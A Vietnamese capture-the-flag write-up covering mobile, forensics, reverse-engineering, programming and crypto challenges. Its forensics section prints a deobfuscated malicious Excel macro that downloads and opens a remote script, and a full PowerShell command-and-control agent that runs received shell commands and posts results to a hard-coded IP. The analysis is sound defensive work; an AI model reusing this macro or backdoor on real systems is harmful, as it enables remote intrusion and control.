Cookie Arena Session 2

Mobile 📱

Cat Me

Dùng jadx để tìm ra text mà tôi nhìn thấy khi cài đặt nó về.

Forensic ♾️

Tin học văn phòng

Sổ đăng ký

Đề bài cho chúng ta 1 file NTUSER.DAT. Đây là file chứa các registry key của user hiện tại trên máy victim.

Vậy nên chúng ta sẽ load nó vào regedit trên Windows

Sau khi thử tìm với các key liên quan đến bài thì trong key \Software\Microsoft\Windows\CurrentVersion\Run chứa code Powershell khả nghi

Chỉnh sửa đoạn code thay vì thực thi thì in ra output và có được flag

$a =  (nEW-OBJeCT IO.cOmPrEsSion.DeflAteSTREam( [sYStEm.IO.MeMOrYSTreAM][CoNVeRt]::frOMBase64sTriNG('+SM0OUuqr+1Bk0bCw0rxL4QC8tR+9hp7QrHrHkbeQaGw3kfeH/YQf8W/WpjHKRpokPgaqB5+nb/5Hw==' ) , [iO.COmpreSSIOn.cOMPrEssionmode]::decOMpReSS )|%{nEW-OBJeCT  Io.StREamreadEr($_,[TEXt.enCoDInG]::AsciI )} ).reAdToENd()
Write-Output $a

Báo cáo dang dở

Bài cho chúng ta 1 file crash dump

Sử dụng Windbg để phân tích file này và có được process information cũng như hệ điều hành (OS) mà người dùng sử dụng

Có được OS version rồi thì dùng Volatility 2 với profile WinSP1x64 để đọc file. Trong các process thì có WINWORD.exe phù hợp với description của đề bài

Tôi sử dụng plugin handles để xem các tài nguyên mở đến process này thì có 1 file khá đặc biệt

Google thì file .asd chính là file lưu tự động của Word để nhằm mục đích phục hồi nếu có sự cố.

Dump file này ra và phải bỏ vào đúng đường dẫn mặc định của Word C:\Users\Username\AppData\Roaming\Microsoft\Word\ sau đó mở lên là phục hồi được và có flag

Trivial FTP

Bài cho 1 file pcap và như tên của bài thì chúng ta đi tìm protocol tftp.

Từ packet này, tôi biết được rằng người dùng gửi yêu cầu đọc file flag.pdf với mode là netascii

Giao thức này sử dụng UDP và port để control là 69 còn port gửi data là port khác

Tôi tìm ra được data gửi đi và dùng tshark để lấy chúng đồng thời xóa 4 byte đầu ở các packet do đó là opcode và block number của tftp

Đến đây thì file PDF bị báo corrupt và không mở được. Research thêm một tí thì mode netascii của tftp sẽ tự động chuyển đổi các kí tự xuống dòng LF ("\n") thành cặp carriage return CR và LF ("\r\n") hoặc CR và null ("\r\x00")

Vậy nên cần phải xóa các kí tự thừa bằng đoạn code dưới đây

data=open('test.pdf', 'rb').read()
temp = data.replace(b'\x0d\x0a', b'\x0a')
temp=temp.replace(b'\x0d\x00', b'\x0d') 
open('flag.pdf', 'wb').write(temp)

Cuối cùng mở và có được flag

Under control

Bài cho chúng ta 1 file pcapng trong đó có 1 packet chứa file excel có chứa macro

Export file ra xem trong đó có chứa gì

Sử dụng olevba để có được đoạn script bị obfuscate khá đau mắt :))

Đây là phiên bản dễ đọc hơn sửa bằng cơm

Sub Auto_Open()
Workbook_Open
End Sub
Sub AutoOpen()
Workbook_Open
End Sub
Sub WorkbookOpen()
Workbook_Open
End Sub
Sub Document_Open()
Workbook_Open
End Sub
Sub DocumentOpen()
Workbook_Open
End Sub

Function func1(param)
var1 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
var2 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(param)
var3 = InStr(var1, Mid(param, y, 1))
If var3 > 0 Then
var4 = Mid(var2, var3, 1)
var5 = var5 + var4
Else
var5 = var5 + Mid(param, y, 1)
End If
Next
func1 = var5
For var6 = 1 To Len(var7)
var7 = var6
Next
For var8 = 2 To Len(var9)
var9 = 2
Next
For var10 = 3 To Len(var11)
var11 = var10
Next
For var12 = 4 To Len(var13)
var13 = 2
Next
End Function


Sub Workbook_Open()
Dim outer_var1 As Object
Dim outer_var2 As String
Dim outer_var3 As String
Dim outer_var4 As String
Dim outer_var5 As Integer
outer_var5 = Chr(50) + Chr(48) + Chr(48)
Set outer_var1 = CreateObject("WScript.Shell")
outer_var2 = outer_var1.SpecialFolders("AppData")
Dim outer_var6
Dim outer_var7
Dim outer_var8
Dim var6 As Long
Dim var8 As String
Dim outer_var9 As Long
Dim var11 As String
Dim var10 As Long
Dim var12 As String
Dim outer_var10 As String
Dim var9 As Long
Dim outer_var11
Dim outer_var12
Dim outer_var13 As Integer
Dim outer_var14
Dim outer_var15
outer_var13 = 1
Range("A1").Value = func1("4BEiàiuP3x6¿QEi³")
Dim outer_var16 As String
outer_var17 = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
outer_var16 = func1(outer_var17)
MsgBox outer_var16, vbInformation, func1("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
Dim outer_var18 As Date
Dim outer_var19 As Date
outer_var18 = Date
outer_var19 = DateSerial(2023, 6, 6)
If outer_var18 < outer_var19 Then
Set outer_var14 = CreateObject("microsoft.xmlhttp")
Set outer_var12 = CreateObject("Shell.Application")                                                                                 
outer_var11 = outer_var2 + func1("\k¿i6Ü_~Bb@")
outer_var14.Open "get", func1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), False
outer_var14.send
outer_var7 = outer_var14.responseBody
If outer_var14.Status = 200 Then
Set outer_var6 = CreateObject("adodb.stream")                                                                                   
outer_var6.Open
outer_var6.Type = outer_var13
outer_var6.Write outer_var7
outer_var6.SaveToFile outer_var11, outer_var13 + outer_var13
outer_var6.Close
End If
outer_var20.Open (outer_var11)
Else
MsgBox func1("åxi'³P³²ÛP³xP²¿iPQEPk²x")
End If
End Sub

Tiếp đến tôi đọc code và thấy được rằng ở outer_var14 script sẽ tạo 1 object thực hiện gửi request GET đến 1 url là output của func1

Thử chạy đoạn này thì có được link github có script powershell của tác giả : https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1

Tôi sử dụng ScriptBLocking của Powershell để có được 1 đoạn script nữa sau khi chạy đoạn vừa rồi

Lại 1 đoạn script nữa bị obfuscate. Tôi dùng PSDecode để deobfuscate và có được đoạn script cuối

${8rT3WA}  = [tyPe]'sySTEm.seCUrItY.cryPTOGRaphY.CiphERMOde' ;
SV '72j5O'  (  [TYpe]'sYstem.seCuriTY.cRYptoGRapHY.paDDingmOde'  ) ;   
${XNfD}=[tyPe]'System.cONVErT'  ;  
${HLvW1} =  [tYPe]'SYStEM.tEXt.EnCOdiNG';  
.'SeT-iTem' 'vARIabLE:92y7'  (  [Type]'SysteM.NEt.dnS')  ; 
${UJXRc}=[tyPE]'StrinG' ;
function CrEATe-AeSmanAGeDoBJeCt(${vxZTmff}, ${5TMRWpLUy}) {
    ${AJuJVRAZ99}           = .'New-Object' 'System.Security.Cryptography.AesManaged'
    ${AJUjvrAZ99}.Mode      =   (  .'gEt-vARIAblE'  ("8rt3Wa") -Value  )::"c`Bc"
    ${aJujVRAZ99}.PAddInG   =  ( .Dir  'vARIable:72j5o'  ).VALUe::"ze`Ros"
    ${AJUJvrAz99}.BlOckSizE = 128
    ${AjuJvRAz99}.keysIze   = 256
    if (${5TMRWPluy}) {
        if (${5TmRWpLuy}.getType.iNVOke().nAME -eq 'String') {
            ${ajUjvRaZ99}.Iv =  (&'dir'  'vaRIaBle:xNFd').vAlUe::'FromBase64String'.InVOKe(${5TMRWPlUy})
        }
        else {
            ${ajUjVraZ99}.IV = ${5tmRwPLUy}
        }
    }
    if (${VxZtMFF}) {
        if (${VXzTmfF}.getType.INvoKe().nAME -eq 'String') {
            ${ajUjVraZ99}.Key =  ( LS 'VariAble:XNFD' ).vAluE::'FromBase64String'.invOKe(${vxzTmFF})
        }
        else {
            ${AjUJVrAZ99}.key = ${vXzTmff}
        }
    }
    ${aJUjvRAZ99}
}
function eNCRYpT(${VxzTMFf}, ${ROFPdqRF99}) {
    ${ByTES}             =   (  .varIable  'hlvW1' ).vALUE::"u`Tf8".GetBytes.INVokE(${rOFpdQRF99})
    ${ajujVRAZ99}        = .'Create-AesManagedObject' ${VXZtMFf}
    ${qDIqLGaQ99}         = ${aJujVRAZ99}.CreateEncryptor.inVoKe()
    ${lwihYmIF99}     = ${QdiqLgaq99}.TransformFinalBlock.iNvOKe(${byTeS}, 0, ${byTes}.LeNgTh);
    [byte[]] ${fJAxUWQN99} = ${AJujvRAz99}.Iv + ${lWiHYmiF99}
    ${ajUJVRAZ99}.Dispose.iNVOKE()
     ${xNFd}::"tOBase6`4`S`TRi`NG".iNvoke(${FjAXUWqN99})
}
function deCRyPT(${VXztmFF}, ${bKJrxQCf99}) {
    ${bYTEs}           =   (&'vARiable'  'xnfd' ).ValuE::'FromBase64String'.InVOKE(${BkjRxqcF99})
    ${5tMRWpLuY}              = ${BYTes}[0..15]
    ${aJuJVraz99}      = .'Create-AesManagedObject' ${VxZTmFF} ${5TMRwpLUY}
    ${MNDmWYnB99}       = ${AJUjvRAz99}.CreateDecryptor.InVoke();
    ${AhtLMYhl99} = ${MNDmWynB99}.TransformFinalBlock.iNvokE(${bYTES}, 16, ${byTeS}.lENgTH - 16);
    ${AJUjVRAZ99}.Dispose.INVOKE()
      ${HLVW1}::"uT`F8".GETStriNg(${AhtLmYhl99}).TRIM([char]0)
}
function ShELL(${DfJz1co}, ${yo8xm5}){
    ${CwzVYVJ}                        = &'New-Object' 'System.Diagnostics.ProcessStartInfo'
    ${CwZVyVj}.FIlename               = ${DFjZ1co}
    ${CWzvYvj}.reDIRecTsTAnDaRdERrOR  = ${TRue}
    ${cwZVYVJ}.ReDIREcTsTANdarDoUTPUT = ${tRUe}
    ${CWZvyVJ}.USEshELleXeCUTe        = ${FALsE}
    ${cwzvyVJ}.aRgUmENtS              = ${yO8xm5}
    ${p}                            = .'New-Object' 'System.Diagnostics.Process'
    ${P}.sTArTiNFO                  = ${CWzvYVj}
    ${p}.Start.INvoKE() | &'Out-Null'
    ${P}.WaitForExit.invoKE()
    ${BHnxNUrW99} = ${p}.staNdardOuTpUT.ReadToEnd.INVOkE()
    ${NmWkjOAB99} = ${p}.StANdArdeRrOR.ReadToEnd.Invoke()
    ${kCNjcQdL} = ('VALID '+"$BhnXnUrW99`n$nmWKJOAb99")
    ${KcnJcQDl}
}
${FZvyCr}   = '128.199.207.220'
${twFTrI} = '7331'
${VxzTmff}  = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
${n}    = 3
${Cwj2TWh} = ""
${yCRUTw} =   ${92Y7}::'GetHostName'.inVoKE()
${FNFFGXDzj}  = "p"
${DFctDFM}  = ('http' + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kVQBXbuR}  = @{
    'name' = "$YCRUTw" 
    'type' = "$fNFFGXDZJ"
    }
${CWj2TWh}  = (&'Invoke-WebRequest' -UseBasicParsing -Uri ${dFctDFM} -Body ${kVqBxbUr} -Method 'POST').coNTENT
${TvYMeYrR99} = ('http' + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${iJfySE2}   = ('http' + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
    ${MA04XMgY}  = (.'Invoke-WebRequest' -UseBasicParsing -Uri ${IJFYSE2} -Method 'GET').cONTeNt
    if (-Not  ${UJXRc}::'IsNullOrEmpty'.INvOKe(${MA04XmGy})){
        ${mA04XMgY} = .Decrypt ${VXZTmff} ${Ma04XMgY}
        ${mA04XMgY} = ${ma04XMgy}.split.INvokE()
        ${FLAG} = ${MA04xmgY}[0]
        if (${FlAg} -eq 'VALID'){
            ${WB1SWYoje} = ${MA04XMgY}[1]
            ${yO8XM5S}    = ${Ma04XMgY}[2..${MA04xmgY}.LeNgTH]
            if (${wb1sWyoJe} -eq 'shell'){
                ${F}    = 'cmd.exe'
                ${yO8XM5}  = "/c "
                foreach (${a} in ${yo8xM5s}){ ${Yo8xm5} += ${a} + " " }
                ${KcNJCQdL}  = .shell ${f} ${yo8xM5}
                ${kCnjCQDL}  = .Encrypt ${VxztMFF} ${kcNjcqdl}
                ${kvqbXBUr} = @{'result' = "$KcnJCQDl"}
                &'Invoke-WebRequest' -UseBasicParsing -Uri ${tVyMEyRR99} -Body ${kVQbXbur} -Method 'POST'
            }
            elseif (${Wb1SwYOJe} -eq 'powershell'){
                ${f}    = 'powershell.exe'
                ${yO8Xm5}  = "/c "
                foreach (${a} in ${Yo8xM5s}){ ${YO8xm5} += ${a} + " " }
                ${kcNjcqdL}  = &'shell' ${F} ${yO8XM5}
                ${kcnjCQDL}  = .Encrypt ${vXZTmfF} ${KCNjcqDl}
                ${KVqbxBUr} = @{'result' = "$KcnJCQDl"}
                &'Invoke-WebRequest' -UseBasicParsing -Uri ${tvyMEYRR99} -Body ${kVqBXbUr} -Method 'POST'
            }
            elseif (${wb1swYOJe} -eq 'sleep'){
                ${n}    = [int]${yO8Xm5S}[0]
                ${kVQBXbur} = @{'result' = ""}
                &'Invoke-WebRequest' -UseBasicParsing -Uri ${tVYmeyrR99} -Body ${KvQBXBur} -Method 'POST'
            }
            elseif (${wb1sWyojE} -eq 'rename'){
                
                ${cwJ2tWh}    = ${YO8Xm5S}[0]
                ${TVYmeyRr99} = ('http' + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
                ${ijFYsE2}   = ('http' + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
            
                ${kVQbXbUr}    = @{'result' = ""}
                .'Invoke-WebRequest' -UseBasicParsing -Uri ${TVYmEyRR99} -Body ${KvqBxbUr} -Method 'POST'
            }
            elseif (${wB1sWYOJe} -eq 'quit'){
                exit
            }
        }
    .sleep ${N}
    }
}

Có vẻ như đoạn script này sẽ thực hiện kết nối tới server 128.199.207.220 để nhận command từ server và gửi result tới server với payload được mã hóa bằng AES CBC (key là d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=' còn iv là 16 byte đầu của payload đã base64 decode)

Có được các thông tin đó, quay trở lại file pcap và đi tìm command từ server

Thử decrypt bằng đoạn script dưới đây

import base64
from Crypto.Cipher import AES

f = open("base64_payload.txt","r")
key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
key = base64.b64decode(key)
data = f.readlines()
for string in data:
    # Decode the base64-encoded key and encrypted
    encrypted = base64.b64decode(string)
    # Extract the IV from the decoded encrypted
    iv = encrypted[:16]
    # Ensure key size is 256 bits
    if len(key) < 32:
        key = key.ljust(32, b'\0')
    elif len(key) > 32:
        key = key[:32]

    # Ensure block size is 128 bits
    if len(iv) < 16:
        iv = iv.ljust(16, b'\0')
    elif len(iv) > 16:
        iv = iv[:16]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_string = cipher.decrypt(encrypted).rstrip(b'\0')
    print("Decrypted string:", str(decrypted_string))

Decrypt ra các command được gửi từ server

Vậy thì giờ tôi chỉ cần đi tìm response từ máy victim gửi đến server với method POST

Decrypt ra và có được 1 file ảnh

Đây là mã QR và ném lên cyberchef là có được flag

Reverse 🔀

Jump

Tôi chọn x32dbg để debug và tìm strings như ảnh dưới đây

Nếu tôi nhập vào 1 số 12 thì process sẽ được tạm dừng tại đây:

Do tên bài + đoán nên tôi đoán là nhập vào hàm chứa flag và jump.

Và đây là kết quả:

pyreverse

Khi chạy nó tôi nhận được 1 chuỗi như này:

Đảo ngược chuỗi lại tôi được:

Nhưng flag mà bạn thấy ở kia chưa phải là đúng nếu bạn không đổi nó thành các chữ hoa và chữ thường tương ứng.

Rev1

Hàm WinMain

Hàm diaLogFunc

HGDIOBJ __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
  HGDIOBJ result; // eax
  HMODULE v5; // eax
  HMODULE v6; // eax
  HMENU v7; // eax
  HMENU v8; // eax
  HWND v9; // eax
  LONG v10; // eax
  HRSRC v11; // [esp-4h] [ebp-168h]
  DWORD ThreadId; // [esp+0h] [ebp-164h] BYREF
  int X; // [esp+4h] [ebp-160h]
  int Y; // [esp+8h] [ebp-15Ch]
  int nWidth; // [esp+Ch] [ebp-158h]
  int nHeight; // [esp+10h] [ebp-154h]
  HDC hDC; // [esp+14h] [ebp-150h]
  UINT v18; // [esp+18h] [ebp-14Ch]
  struct tagPAINTSTRUCT Paint; // [esp+1Ch] [ebp-148h] BYREF
  CHAR String[260]; // [esp+5Ch] [ebp-108h] BYREF

  memset(String, 0, sizeof(String));
  hwnd = hWnd;
  v18 = a2;
  if ( a2 > 0x133 )
  {
    switch ( v18 )
    {
      case 0x136u:
        result = h;
        break;
      case 0x138u:
        goto LABEL_20;
      case 0x200u:
        if ( dword_414300 == 1 )
        {
          GetWindowRect(hWnd, &Rect);
          GetCursorPos(&stru_414380);
          X = Rect.left + stru_414380.x - Point.x;
          Y = Rect.top + stru_414380.y - Point.y;
          nWidth = Rect.right - Rect.left;
          nHeight = Rect.bottom - Rect.top;
          Point = stru_414380;
          MoveWindow(hWnd, X, Y, Rect.right - Rect.left, Rect.bottom - Rect.top, 1);
        }
        goto LABEL_35;
      case 0x201u:
        dword_414300 = 1;
        SetCapture(hWnd);
        GetCursorPos(&Point);
        goto LABEL_35;
      case 0x202u:
        dword_414300 = 0;
        ReleaseCapture();
        goto LABEL_35;
      default:
        goto LABEL_35;
    }
  }
  else if ( v18 == 307 )
  {
LABEL_20:
    SetBkColor((HDC)a3, 1u);
    SetTextColor((HDC)a3, 0x2DFFFFu);
    result = h;
  }
  else
  {
    if ( v18 > 0x2B )
    {
      if ( v18 == 272 )
      {
        dword_414448 = sub_401E10((LPCSTR)0x3F8, (LPCSTR)0x3F7);
        v5 = GetModuleHandleA(0);
        hResData = FindResourceA(v5, (LPCSTR)0x3F8, (LPCSTR)0x3F7);
        v11 = hResData;
        v6 = GetModuleHandleA(0);
        dword_4143A0 = SizeofResource(v6, v11);
        FreeResource(hResData);
        SetDlgItemTextA(hWnd, 1004, ::String);
        SendMessageA(hWnd, 0x80u, 1u, hIcon);
        dword_4142FC = sub_401E10((LPCSTR)0x3F6, (LPCSTR)0x3F5);
        dword_4143A4 = GetDlgItem(hWnd, 1003);
        dword_4143D8 = GetDlgItem(hWnd, 1001);
        dword_41438C = GetDlgItem(hWnd, 1002);
        dword_414370 = GetDlgItem(hWnd, 1007);
        GetClientRect(hWnd, &x);
        ++x.top;
        ++x.left;
        --x.bottom;
        x.right -= 2;
        dword_414398 = GetDlgItem(hWnd, 1004);
        ::hWnd = GetDlgItem(hWnd, 1005);
        GetClientRect(::hWnd, &rc);
        SetLayeredWindowAttributes(hWnd, 0, 0xCCu, 2u);
        --rc.top;
        --rc.left;
        ++rc.right;
        ++rc.bottom;
        v7 = GetSystemMenu(hWnd, 0);
        DeleteMenu(v7, 2u, 0x400u);
        v8 = GetSystemMenu(hWnd, 0);
        DeleteMenu(v8, 3u, 0x400u);
        EnableWindow(dword_4143A4, 0);
        EnableWindow(dword_4143D8, 0);
        EnableWindow(dword_41438C, 0);
        v9 = GetDlgItem(hWnd, 1005);
        SetFocus(v9);
        v10 = GetWindowLongA(hWnd, -20);
        SetWindowLongA(hWnd, -20, v10 | 0x80000);
        SetLayeredWindowAttributes(hWnd, 0xFFu, 0, 3u);
        ShowWindow(hWnd, 5);
        SetTimer(hWnd, 0xDEu, 0x28u, TimerFunc);
      }
      else if ( v18 == 273 )
      {
        if ( a3 == 1001 )
        {
          SendMessageA(hWnd, 0x10u, 0, 0);
        }
        else if ( a3 == 1003 )
        {
          GetDlgItemTextA(hWnd, 1005, String, 260);
          if ( sub_402030(String) )
          {
            if ( dword_4142F8 )
            {
              sub_401F90(dword_414370);
              DeleteObject(ho);
              dword_4142F8 = 0;
            }
          }
          else if ( !dword_4142F8 )
          {
            sub_401EC0(dword_4142FC);
            dword_4142F8 = 1;
          }
        }
      }
    }
    else
    {
      switch ( v18 )
      {
        case 0x2Bu:
          sub_401B80(hWnd, a4);
          break;
        case 2u:
          TerminateThread(hThread, 0);
          sub_4011FB(&dword_414400);
          DeleteObject(h);
          DeleteObject(hbr);
          DeleteObject(lParam);
          DestroyIcon((HICON)hIcon);
          PostQuitMessage(0);
          break;
        case 0xFu:
          dword_414450 = (int)hWnd;
          dword_414454 = (int)asc_413880;
          hDC = BeginPaint(hWnd, &Paint);
          FrameRect(hDC, &x, (HBRUSH)hbr);
          SelectObject(hDC, hbr);
          MoveToEx(hDC, x.left, 20, 0);
          LineTo(hDC, x.right, 20);
          SetBkMode(hDC, 1);
          SetTextColor(hDC, 0x2DFFFFu);
          SelectObject(hDC, dword_414374);
          hThread = CreateThread(0, 0, StartAddress, &dword_414450, 0, &ThreadId);
          EndPaint(hWnd, &Paint);
          hDC = GetDC(dword_414398);
          FrameRect(hDC, &rc, (HBRUSH)hbr);
          ReleaseDC(dword_414398, hDC);
          hDC = GetDC(::hWnd);
          FrameRect(hDC, &rc, (HBRUSH)hbr);
          ReleaseDC(::hWnd, hDC);
          break;
        case 0x10u:
          EndDialog(hWnd, 0);
          break;
      }
    }
LABEL_35:
    result = 0;
  }
  return result;
}

Khi run thì bạn cũng có thể nhận ra là bài yêu cầu password, nếu nhập đúng thì pass không thì sẽ bị out khỏi chương trình.

Đọc 1 lúc ta thấy hàm sendmessegeA:

Có hàm sub_402030 xử lí strings:

Thực hiện debug local để xem giá trị của v3 là bao nhiêu:

Tiếp đó tôi thấy có 1 đoạn xử lí input mà tôi nhập vào:

Hàm sẽ lấy từng kí tự và đem cộng trừ với nhau. Đoạn mã cho phép 14 kí tự. Tôi có script để giải bài toán này (14 ẩn)

import z3

a = [z3.BitVec(f'a_{i}',8) for i in range(14)]

solver = z3.Solver()

solver.add(a[0] * 0x6e + a[1] * 0x1c3 + a[2] * 0x348 + a[3] * 0x1f8 - a[4] * 0x357 + a[5] * 0x46 - a[6] * 0x16f - a[7] * 0x2fe + a[8] * 0x17a + a[9] * 0x15a - a[10] * 0x326 - a[11] * 0x190 + a[12] * 0x129 + a[13] * 0x2ed == 0x29cb)
solver.add(a[0] * 0x2a + a[1] * 0x3b2 + a[2] * 0x2c1 + a[3] * 0x23a - a[4] * 0x3d1 + a[5] * 0x152 + a[6] * 0x221 - a[7] * 0x2fc - a[8] * 0x0df - a[9] * 0x36f + a[10] * 0x1a2 + a[11] * 0x179 + a[12] * 0x284 - a[13] * 0x64 == 0x0f0ed)
solver.add(a[0] * 0x328 + a[1] * 0x3cd + a[2] * 0x3cc + a[3] * 0x329 + a[4] * 0xea - a[5] * 0x1a + a[6] * 0x12b - a[7] * 0x2e - a[8] * 0x337 + a[9] * 0x262 + a[10] * 0x37 - a[11] * 0xa4 + a[12] * 0x383 + a[13] * 0x2d5 == 0x66098)
solver.add(a[0] * 0x66 - a[1] * 0x3C9 - a[2] * 0x0C0 - a[3] * 0x0BD - a[4] * 0x9D + a[5] * 0x2D1 - a[6] * 0x299 + a[7] * 0x38E + a[8] * 0x15 - a[9] * 0x14E +a[10] * 0x280 +a[11] * 0x0E1 -a[12] * 0x128 +a[13] * 0x50 == 0x6CE4)
solver.add(a[0]* 0x2ED + a[1]* 0x8A - a[2]* 0x155 - a[3]* 0x8C - a[4]* 0x239 + a[5]* 0x259 - a[6]* 0x286 - a[7]* 0x1DA + a[8]* 0x154 - a[9]* 0x196 +a[10]* 0x97 +a[11]* 0x26D +a[12]* 0x3E0 -a[13]* 0x1EB == 0x150DD)
solver.add(a[0]* 0x46 - a[1]* 0x2DF+ a[2]* 0x243+ a[3]* 0x78 - a[4]* 0x0EE+ a[5]* 0x99 - a[6]* 0x0C5- a[7]* 0x0EB- a[8]* 0x0AE+ a[9]* 0x28F- a[10]* 0x65 + a[11]* 0x20B- a[12]* 0x147+ a[13]* 0x3C2 == 0x1E68B)
solver.add(a[0]* 0x264+ a[1]* 0x2BE+ a[2]* 0x3B5- a[3]* 0x1D3- a[4]* 0x8 - a[5]* 0x150+ a[6]* 0x3C1- a[7]* 0x3E4- a[8]* 0x58 - a[9]* 0x19C+ a[10]* 0x3AA+ a[11]* 0x261- a[12]* 0x17F- a[13]* 0x167 == 0x18490)
solver.add(a[0]* 0x0B3- a[1]* 0x63 - a[2]* 0x0E0+ a[3]* 0x24 + a[4]* 0x37C+ a[5]* 0x0AA+ a[6]* 0x33 - a[7]* 0x11E- a[8]* 0x13D+ a[9]* 0x139+ a[10]* 0x3DC- a[11]* 0x14C+ a[12]* 0x2DD+ a[13]* 0x2B3 == 0x3CC54)
solver.add(a[0]* 0x102+ a[1]* 0x115+ a[2]* 0x0D3+ a[3]* 0x0DC+ a[4]* 0x3A1- a[5]* 0x35C- a[6]* 0x0ED+ a[7]* 0x141- a[8]* 0x19C- a[9]* 0x2B6+ a[10]* 0x3CC+ a[11]* 0x3AA+ a[12]* 0x24B+ a[13]* 0x1B9 == 0x45670)
solver.add(a[0]* 0x3C4+ a[1]* 0x305- a[2]* 0x0A9+ a[3]* 0x87 - a[4]* 0x0E6+ a[5]* 0x30 + a[6]* 0x20F- a[7]* 0x3D0- a[8]* 0x94 - a[9]* 0x2CC+ a[10]* 0x56 + a[11]* 0x224+ a[12]* 0x1B5+ a[13]* 0x183 == 0x21A0F)
solver.add(a[0]* 0x256+ a[1]* 0x157+ a[2]* 0x181- a[3]* 0x306- a[4]* 0x243- a[5]* 0x9 - a[6]* 0x373- a[7]* 0x1A3+ a[8]* 0x223+ a[9]* 0x200- a[10]* 0x365- a[11]* 0x56 + a[12]* 0x1B6- a[13]* 0x39C == 0x0FFFE3896)
solver.add(a[0]* 0x0A3+ a[1]* 0x2B2+ a[2]* 0x22D+ a[3]* 0x3D6- a[4]* 0x9A - a[5]* 0x76 - a[6]* 0x2A0+ a[7]* 0x63 + a[8]* 0x373+ a[9]* 0x15 - a[10]* 0x3B9+ a[11]* 0x214- a[12]* 0x232+ a[13]* 0x225 == 0x22874)
solver.add(a[0]* 0x151+ a[1]* 0x153+ a[2]* 0x25F- a[3]* 0x187- a[4]* 0x2AC+ a[5]* 0x1CC- a[6]* 0x155- a[7]* 0x2F5- a[8]* 0x22D+ a[9]* 0x17B- a[10]* 0x377- a[11]* 0x0B2- a[12]* 0x294- a[13]* 0x2CE == 0x0FFFBEC4D)
solver.add(a[0]* 0x2AA+ a[1]* 0x95 + a[2]* 0x83 + a[3]* 0x25B- a[4]* 0x77 - a[5]* 0x2E1+ a[6]* 0x39D+ a[7]* 0x251+ a[8]* 0x0A2- a[9]* 0x27D+ a[10]* 0x268+ a[11]* 0x2F9+ a[12]* 0x14 - a[13]* 0x115 == 0x3C5E6)
for i in range(14):
	solver.add(a[i] >= ord('0'))
print(solver.check())
m = solver.model()
out = [m.evaluate(a[i]) for i in range(14)]
print(out)

Và sau khi chạy chương trình tôi nhận được 1 đoạn text, nhập nó vào chương trình tôi được flag như dưới đây:

Programming 👩‍💻

Identity Security

def email(string):
    at_pos = string.find('@')
    username = string[:at_pos]
    domain = string[at_pos:]
    if len(username) <= 7:
        return username[0] + "*" * len(username[1:-1]) + username[-1] + domain
    else:
        return username[0:2] + "*" * len(username[2:-3]) + username[-3:] + domain

def phone(string):
    return string[:2] +  "*" * (len(string) - 6) + string[-4:]
    
n = int(input())
while  n > 0:
    p = input()
    if '@' in p:
        print(email(p))
    else:
        print(phone(p))
    n-=1

Crypto🌕

Rubic Cipher

Tôi được cung cấp 3 file:

cipher.txt

b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'

scramble_sequence.txt

(F, AAAAAAAAABBBCCCDDDEEEBBBCCCDDDEEEBBBCCCDDDEEEFFFFFFFFF) = AAAAAABBBBBFCCCADDEEEBBFCCCADDEEEBBFCCCADDEEEDDDFFFFFF

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
KEY="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

rubik.txt

         | 0  1  2  |
         | 3  4  5  |
         | 6  7  8  |

9  10 11 | 12 13 14 | 15 16 17 | 18 19 20 
